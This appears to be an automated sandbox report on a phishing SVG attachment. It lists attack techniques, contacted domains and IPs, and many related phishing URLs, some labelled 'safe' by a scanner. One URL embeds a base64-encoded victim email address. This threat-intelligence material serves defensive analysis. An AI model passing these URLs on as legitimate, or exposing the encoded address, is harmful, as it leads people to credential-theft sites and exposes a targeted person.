Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://vf70og.jnfemo.ru/kabutar!lkn1tnbe	0%	Avira URL Cloud	safe
https://jx7d.qdjcpol.ru/uibxkchnlxoeljctjdujdmvzqmhvzXJZEDP76OIN5YYX9QR5N8?INPOFLFWLGHPBXSLYRWTDKYOQCMEN	0%	Avira URL Cloud	safe
https://jx7d.qdjcpol.ru/lmALWfU5ETUyvmQJOvfdzGr4iZ3aSLxowqT4KvwEqNKwECbl9Cew	0%	Avira URL Cloud	safe
https://jx7d.qdjcpol.ru/fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj	0%	Avira URL Cloud	safe
https://jx7d.qdjcpol.ru/favicon.ico	0%	Avira URL Cloud	safe
https://jx7d.qdjcpol.ru/WpB8P/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
t.sni.global.fastly.net	151.101.195.52	true	false	high
vf70og.jnfemo.ru	104.21.70.67	true	false	unknown
developers.cloudflare.com	104.16.5.189	true	false	high
cdn.quantummetric.com	104.18.10.213	true	false	high
d3frhxtoji9i5h.cloudfront.net	13.32.99.41	true	false	unknown
jx7d.qdjcpol.ru	104.21.78.6	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net	104.17.209.240	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
e14801.x.akamaiedge.net	23.192.153.175	true	false	high
www.google.com	142.250.186.100	true	false	high
e3203.x.akamaiedge.net	23.206.20.104	true	false	high
perimeterx2.map.fastly.net	151.101.193.40	true	false	high
images.thdstatic.com	unknown	unknown	false	high
siteintercept.qualtrics.com	unknown	unknown	false	high
cdn.revjet.com	unknown	unknown	false	high
assets.thdstatic.com	unknown	unknown	false	high
live-chat-static.sprinklr.com	unknown	unknown	false	high
dam.thdstatic.com	unknown	unknown	false	high
client.px-cloud.net	unknown	unknown	false	high
www.homedepot.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=LJLaox2ez4SNULNb4Gdt%2BrZN%2FekWJzgK1EthssQgFMyUX2b1ez5qGJqdgmhqnfC97Izsnp7nAsvQvT7TU1qRNgqQIyQecoJZWFZfTiganESCprZ%2FNf1g61DlQrpx	false		high
https://jx7d.qdjcpol.ru/WpB8P/#bWVsYW5pZS53YWx0b25Ac3BpcmVoZWFsdGhjYXJlLmNvbQ==	false		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://jx7d.qdjcpol.ru/fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=f9fmxit0Dz%2FGezqENuNn5Wobzg5m5bUb5HyUvktGr5Y%2Bp5U1aI1h6Rz3NNcSfq2eb%2FX6Xq0ivlb2hByYTKvCXbQNmYInAO8c8YEDnQyv12pgu2BeqxMbutk5%2FsFu	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://www.homedepot.com/	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://vf70og.jnfemo.ru/kabutar!lkn1tnbe	false	Avira URL Cloud: safe	unknown
https://www.homedepot.com/favicon.ico	false		high
https://jx7d.qdjcpol.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://jx7d.qdjcpol.ru/uibxkchnlxoeljctjdujdmvzqmhvzXJZEDP76OIN5YYX9QR5N8?INPOFLFWLGHPBXSLYRWTDKYOQCMEN	false	Avira URL Cloud: safe	unknown
https://jx7d.qdjcpol.ru/WpB8P/	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://a.nel.cloudflare.com/report/v4?s=AW9JS5bPz0%2F0qbZZ2BVz%2F5yvHaONAMGina2eCeYEgVWJUNrdafFbp2k5OICucR7CzM8BzgVO3epfKywzGsRWNkqGwRF8iJ7KMvSfSzw%2BQdI22elht9S%2FWBYcCI45	false		high
https://jx7d.qdjcpol.ru/lmALWfU5ETUyvmQJOvfdzGr4iZ3aSLxowqT4KvwEqNKwECbl9Cew	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.homedepot.com	chromecache_65.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.209.240	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.32.99.41	d3frhxtoji9i5h.cloudfront.net	United States	16509	AMAZON-02US	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.220.176	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.193.40	perimeterx2.map.fastly.net	United States	54113	FASTLYUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.78.6	jx7d.qdjcpol.ru	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.70.67	vf70og.jnfemo.ru	United States	13335	CLOUDFLARENETUS	false
23.206.20.104	e3203.x.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
104.18.10.213	cdn.quantummetric.com	United States	13335	CLOUDFLARENETUS	false
23.192.153.175	e14801.x.akamaiedge.net	United States	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.195.52	t.sni.global.fastly.net	United States	54113	FASTLYUS	false

Private

IP
192.168.2.8
192.168.2.16
192.168.2.9
192.168.2.4
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1642742
Start date and time:	2025-03-19 10:45:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ATT61918.svg
Detection:	MAL
Classification:	mal84.phis.evad.winSVG@24/18@42/22
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.78, 142.250.186.163, 142.250.186.46, 66.102.1.84, 142.250.185.206, 216.58.206.46, 199.232.210.172, 142.250.74.206, 142.250.185.110, 142.250.186.110, 172.217.23.110, 216.58.212.174, 142.250.185.67, 142.250.186.99, 216.58.212.142, 142.250.186.142, 142.250.181.238, 23.60.203.209, 20.109.210.53
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.18.94.41	https://allegrolokalnie.pi-63434845.cfd/	Get hash	malicious	HTMLPhisher	Browse
	http://email.mg.dior.com.sg/c/eJwUyzuOxCAMANDTQImMwXwKim1yD2OcTLQTMWKiPf8q9dMbLYF0JqvN54gBsVRvXy13H7uSjEwCu0jVskOKOQXRLsT2bAhIEHzxJUTyDj0haUVkGaFqMhGuw41zLifzct_Dvtvrvj8m_BjcDG6cehbflZRTSSMJCJBWyo7fv-d9fuYTDW52tYuXuD7XoetrIvCx84P2r-F_AAAA__9oeDhv	Get hash	malicious	Unknown	Browse
	http://email.mg.dior.com.sg/c/eJwUy0GSrCAMANDTwJIKIYAsWPyN9wghivXt0aLtOf9U79_rNYE0jlarz4TBl5DJjooovhMB4salhGUpxBwBknoIsm32qAgYIfjF55A8uS4K0jYqrTdSUUPw2l0_runkern3bs86nuc24Z_B1eDKqWXxTaNyWlJPAgJRS8yOz__Hc9zXNxpc7axN58_g2V3j-QxD8JbxOXXu8_rcX2Z_K_4FAAD__5zePOM	Get hash	malicious	Unknown	Browse
	https://0942774-Mailscanner.000-0x2auixx-7yhx.cc/NARMdP/$verify.background@sterlingcheck.com	Get hash	malicious	Unknown	Browse
	https://app.buildingengines.com/geofire/r/tenant/wo/3337907629?pmoId=441399979&_redirectTo=https%3A%2F%2Fclick.actmkt.com//s2/001-9d8b5995-11e2-4176-a44d-ac784ffff218/052-1f3d50c8-0ab2-42ca-9d57-414363d82282?enr=naahiaduabyaa4yahiac6abpabtaa4qameagoadsabqqa3qaoqac2adtab2qa3qaomagkaduaawqayqamqadgadgaaxaa3ianeaggadiabqqazianqac2admabuqa5aao4agsadoabxqa5yaneaggad2aaxaa5yan4aheadlabsqa4qaomac4adeabsqa5qaf4ahyadtabuaa3yan4ahiadnabsqamaahaadsacaabtqa3iameagsadmaaxaayyan4ag2ad4aa2aa7aapqadaabvaazaaliageagmabtabsaaniagaaggabyaawqamaameageabsaawqanaagiaggadbaawqaoiamqadkabxaawqanaageadiabtaa3aamyamqadqabsaazaaoaagiahyabqaa2qaoiafuagkabwabrqaoiagyageabzaayaaliagiaggabxaayqaliagqadgabwabtaaliamiadkabvaazqaliamiadmabwabsqamiamiagmabyaa3qayyahaaggad4aayaamaageac2abzabsaaoaamiadkabzaa4qaniafuadcabrabsqamqafuadiabraa3qanqafuagcabuaa2aazaafuagcaddaa3qaoaagqagmadgabtaazqagiadcabyab6aa7aaieahyaa=	Get hash	malicious	HTMLPhisher	Browse
	(No subject).eml	Get hash	malicious	Unknown	Browse
	https://www.mrbuggs.com	Get hash	malicious	Unknown	Browse
	The Powder Shop Inc.eml	Get hash	malicious	unknown	Browse
	https://tracking.vocus.io/link?id=955d9682-222d-4296-9955-58f4696b25f4&url=https%3A%2F%2Fbusinessappealmanager.com#user_em...	Get hash	malicious	Unknown	Browse
104.17.209.240	doc Pg 2A gmt_5057363908.pdf	Get hash	malicious	HTMLPhisher	Browse
	http://www.fedex.com/officebillingonline	Get hash	malicious	Unknown	Browse
	test1.html	Get hash	malicious	Unknown	Browse
	https://booking.pathqerunknowns.com/	Get hash	malicious	HTMLPhisher, XWorm	Browse
	https://patheer-guesters.com	Get hash	malicious	Unknown	Browse
	https://rfcsf.com/wp-content/users/canada/post/pay/	Get hash	malicious	Unknown	Browse
	http://logistics-fdx-pdd.com/	Get hash	malicious	Unknown	Browse
	http://ledger-l.memmserve.com/	Get hash	malicious	Unknown	Browse
	http://ledgersynce-se.vercel.app/	Get hash	malicious	Unknown	Browse
	https://www.powerbelt.rs/uploads/source/irs/index.php?email=info@email	Get hash	malicious	Unknown	Browse
104.16.5.189	https://acrobat.adobe.com/id/urn:aaid:sc:EU:cef22cee-e97f-4efd-9256-9a2eaeaf8ce5	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	https://dermatech-lab.com/wp/confirm.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Attached_image+from+ADMIN@weareworkspace.com.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	7274442614.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	5886059152_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
13.32.99.41	http://ledger-l.memmserve.com/	Get hash	malicious	Unknown	Browse
	http://monitor.linkwhat.com/tl4tl4726Qz107cK770xR10599lj360px17lb07468gl70015oV95328Kn41253VG39381FP5605427918==aru2826664	Get hash	malicious	Phisher	Browse
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse
	http://btinternet-103485.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://netzero-webmail-106421.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://att-100184.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://mail-100080.weeblysite.com/	Get hash	malicious	Unknown	Browse
	https://att-105877.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://att-101386.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://bt-102116.weeblysite.com/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.sni.global.fastly.net	http://steampowered.doomthedarkages-invite.com/app/DOOM_THE_DARK_AGES/2246340/	Get hash	malicious	Unknown	Browse	151.101.3.52
	http://steampowered.doomthedarkages-invite.com/app/DOOM_THE_DARK_AGES/2246340/	Get hash	malicious	Unknown	Browse	151.101.3.52
	http://steameconmnnuity.com/f848937bf21d19cda314441b9eca9f3c/bGlua3Nob3J0LnJ1bg==/aHR0cDovL3N0ZWFtZWNvbm1ubnVpdHkuY29tLzg5ODkwODA5Lw==	Get hash	malicious	Unknown	Browse	151.101.3.52
	http://steampowered.doomthedarkages-invite.com/app/DOOM_THE_DARK_AGES/2246340/	Get hash	malicious	Unknown	Browse	151.101.131.52
	https://sreqmcoommnunlty.com/pikus/kils/nuks	Get hash	malicious	Unknown	Browse	151.101.3.52
	https://sreqmcoommnunlty.com/bysre/tytik/pols	Get hash	malicious	Unknown	Browse	151.101.131.52
	https://staemcommunuttly.com/gift/activation=Dor5Fhnm1w	Get hash	malicious	Unknown	Browse	151.101.195.52
	https://steamcommunurty.com/id/7656135508021645	Get hash	malicious	Unknown	Browse	151.101.3.52
	https://accverst.com/	Get hash	malicious	Unknown	Browse	151.101.131.52
	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	151.101.195.52
developers.cloudflare.com	Munsch-Employee-Handbook.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	104.16.6.189
	message__0XSkcQEiS5ehXOfhSk9JKw_geopod_ismtpd_30_.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	https://0q.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	5907483252_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__8954724926#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	http://microsoft365online.mdshohelrana.com/access/authorize/8XTmKY/jcabanas@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
d3frhxtoji9i5h.cloudfront.net	http://lihi.cc/6nCRB	Get hash	malicious	Unknown	Browse	13.32.99.71
	http://ledger-l.memmserve.com/	Get hash	malicious	Unknown	Browse	13.32.99.26
	http://ledgersynce-se.vercel.app/	Get hash	malicious	Unknown	Browse	13.32.99.93
	https://hobitronik.com/	Get hash	malicious	Unknown	Browse	13.32.99.71
	http://www.ledger-secure03948.sssgva.com/	Get hash	malicious	Unknown	Browse	13.32.99.71
	https://berobv.nl/	Get hash	malicious	Unknown	Browse	18.239.83.59
	https://ledger-sync-extens.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.32.99.71
	http://pbs.twimg.com	Get hash	malicious	Unknown	Browse	13.32.99.41
	https://email.mail1.onesignal.os.tc/c/eJwUzz3OnDAQANDTQDfIeAb_FBRp9hrRzNjOWjIYgTdRbv9p-9c8vq7fNe2rpohGAhRkAbLFQXA2Q2EWEwt6NX5Ou6MtpjLnfXUBvUFj3fzeJZjCIoQbOY8cQvGGrYuqmFR5neseMqVQPEK2yQJRXCFqQtDoeaUYVrvFpeUx7jyRaV25vfsz5ra_x7ieCX9N9jXZ1_ORcferKjfpg8-qvGg_JvvizzNubpVxeY-jzWcftVTlUfv5HbrkWfKmkNkh0IoJQuENbCCrTiWtFOar8f98f7kWEmYrUKwTIGc8hM1nyIRoKSURTfO9H4fwfeYxJjKn6nI-_5Y__e_Cn58AAAD__yQBaiU	Get hash	malicious	Phisher	Browse	13.32.99.71
	https://taxes.rpacx.com/eutirtovoqnurkallc6gpwakepm88ohmjmo+ckkwgqbz5ooqf7zou0z7pjke7dw1	Get hash	malicious	Unknown	Browse	13.32.99.71
cdn.quantummetric.com	https://www.central1.internationalpayments.com/geo/	Get hash	malicious	Unknown	Browse	104.18.11.213
	https://www.central1.internationalpayments.com/geo/	Get hash	malicious	Unknown	Browse	104.18.10.213
	https://currently564432.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.213
	https://trrezorfgwallet.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.213
	FW_ Remittance Address.msg	Get hash	malicious	Unknown	Browse	104.18.11.213
	https://digi-searches.com/	Get hash	malicious	Unknown	Browse	104.18.10.213
	https://attwi1relessss.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.213
	https://adimat0ata.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.213
	http://currentlyyahoatt.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.213
	https://communiition.weebly.com/?user-agent=mozilla/5.0+(windows+nt+10.0	Get hash	malicious	HTMLPhisher	Browse	104.18.10.213

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mepage--coinbase--org.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.153.55
	http://langsungen.business-minagne.com/	Get hash	malicious	Unknown	Browse	104.21.24.100
	https://gzvsew.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://hwwgfsbxcy.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://check.apoa3.icu/gkcxv.google?i=ba4405b0-df17-4c27-842b-c8b8bb69828c	Get hash	malicious	Unknown	Browse	104.21.16.1
	https://mfgvhhhnqw.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://web--help-coinbase-azure-auth.webflow.io/	Get hash	malicious	Unknown	Browse	172.64.151.8
	https://booking.reserv-confirms.com/order/iULzfGU10Ph0/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://surl.li/Pd-clientes	Get hash	malicious	Unknown	Browse	172.67.69.76
FASTLYUS	http://ajrdn.qqmasonry.com/	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://nesia2shop.com/	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://paper-steadfast-supply.glitch.me/public/memberonlinenfc.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.59
	http://protect-meta-com.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://steampowered.doomthedarkages-invite.com/app/DOOM_THE_DARK_AGES/2246340/	Get hash	malicious	Unknown	Browse	151.101.3.52
	https://securelogin-att-1-01-9-33.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	https://samir_khal_com-dot-mm-event4.appspot.com/em_7iVhahnucGZLW1NoKJVs?url=https%3A%2F%2Fwebovarga.com%2Fowa%2F%23bWFya2V0aW5nQGRpYXRyb24uY29t	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://diversityact.org.au/docs/279dfa8d3a85c70f0e939bd8d929c18a/1.AdG9kZC5oZXdpdHRAYmx1ZXMucnVnYnk=	Get hash	malicious	Unknown	Browse	151.101.194.137
	hoho.m68k.elf	Get hash	malicious	Unknown	Browse	104.156.89.71
CLOUDFLARENETUS	https://mepage--coinbase--org.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.153.55
	http://langsungen.business-minagne.com/	Get hash	malicious	Unknown	Browse	104.21.24.100
	https://gzvsew.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://hwwgfsbxcy.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://check.apoa3.icu/gkcxv.google?i=ba4405b0-df17-4c27-842b-c8b8bb69828c	Get hash	malicious	Unknown	Browse	104.21.16.1
	https://mfgvhhhnqw.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://web--help-coinbase-azure-auth.webflow.io/	Get hash	malicious	Unknown	Browse	172.64.151.8
	https://booking.reserv-confirms.com/order/iULzfGU10Ph0/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://surl.li/Pd-clientes	Get hash	malicious	Unknown	Browse	172.67.69.76
AMAZON-02US	https://mepage--coinbase--org.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.39
	https://web--help-coinbase-azure-auth.webflow.io/	Get hash	malicious	Unknown	Browse	52.222.232.47
	http://busilness-tiktokmalls.azureedge.net/	Get hash	malicious	Unknown	Browse	54.231.198.41
	http://spanish-account-restricted-user.ubpages.com/	Get hash	malicious	Unknown	Browse	13.35.58.93
	https://auth-ca--ndax--console.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.47
	http://mmsetscklogin.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.99
	http://ajrdn.qqmasonry.com/	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	3.161.82.112
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	https://imntokqen.com/en.html	Get hash	malicious	Unknown	Browse	18.245.62.95
CLOUDFLARENETUS	https://mepage--coinbase--org.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.153.55
	http://langsungen.business-minagne.com/	Get hash	malicious	Unknown	Browse	104.21.24.100
	https://gzvsew.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://hwwgfsbxcy.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://check.apoa3.icu/gkcxv.google?i=ba4405b0-df17-4c27-842b-c8b8bb69828c	Get hash	malicious	Unknown	Browse	104.21.16.1
	https://mfgvhhhnqw.pnsiayfas.net/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://web--help-coinbase-azure-auth.webflow.io/	Get hash	malicious	Unknown	Browse	172.64.151.8
	https://booking.reserv-confirms.com/order/iULzfGU10Ph0/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://surl.li/Pd-clientes	Get hash	malicious	Unknown	Browse	172.67.69.76

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	386
Entropy (8bit):	5.27497975022449
Encrypted:	false
SSDEEP:	6:wBqWekiTakpxxdGztoIhS3EaCkwKaT8RCsDPLCmKksFiMbcaS3jfU0cM4sFoT:dkK9dg5qEaCeaT8ckv/jfqB
MD5:	9BA6883DE9CC43C26B677B51236159EA
SHA1:	0EA5F2999BAB9F4F99DB95FA9FFC295404BF0EF1
SHA-256:	95A90C885112C1330346DDA507FECEDA50CEDC628B7094C392C93B568DF9BA79
SHA-512:	D20C72F6589592EBEDCA038B2D7D1230F44D15CE2E6389A3857644F6ABED9A782D00547A5FCDE1549AF3635B72B3B09A601333ECFACC958C202BBF058902E104
Malicious:	false
Reputation:	low
URL:	https://www.homedepot.com/favicon.ico
Preview:	<HTML><HEAD>.<TITLE>Access Denied</TITLE>.</HEAD><BODY>.<H1>Access Denied</H1>. .You don't have permission to access "http://www.homedepot.com/favicon.ico" on this server.<P>.Reference #18.27011002.1742377605.1c78e9aa.<P>https://errors.edgesuite.net/18.27011002.1742377605.1c78e9aa</P>.</BODY>.</HTML>.

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (23673), with CRLF line terminators
Category:	downloaded
Size (bytes):	28700
Entropy (8bit):	5.960285004416127
Encrypted:	false
SSDEEP:	768:r19ydudEiEH25aqxbDlJhqZGCKwTL2lrxlrE:rudtiW2zqZZKO23y
MD5:	48F3AD1DB3C208B5872EDEC98A3A8FF5
SHA1:	A6A420BAAC1EBFDE14CFAB6C2DB4BF46E395D388
SHA-256:	4D932530A373A6484979ACC5F2EA8282F79302E462929DB7FD53E76FA79DED30
SHA-512:	75198C40FDF6AC54D1F066882C2555FB915441EA3ABE7AF3AC435729666B23B4C61EED13A73697D5F656248B15331C74386FD03D78E597DF65036C3670ACBA41
Malicious:	false
Reputation:	low
URL:	https://jx7d.qdjcpol.ru/WpB8P/
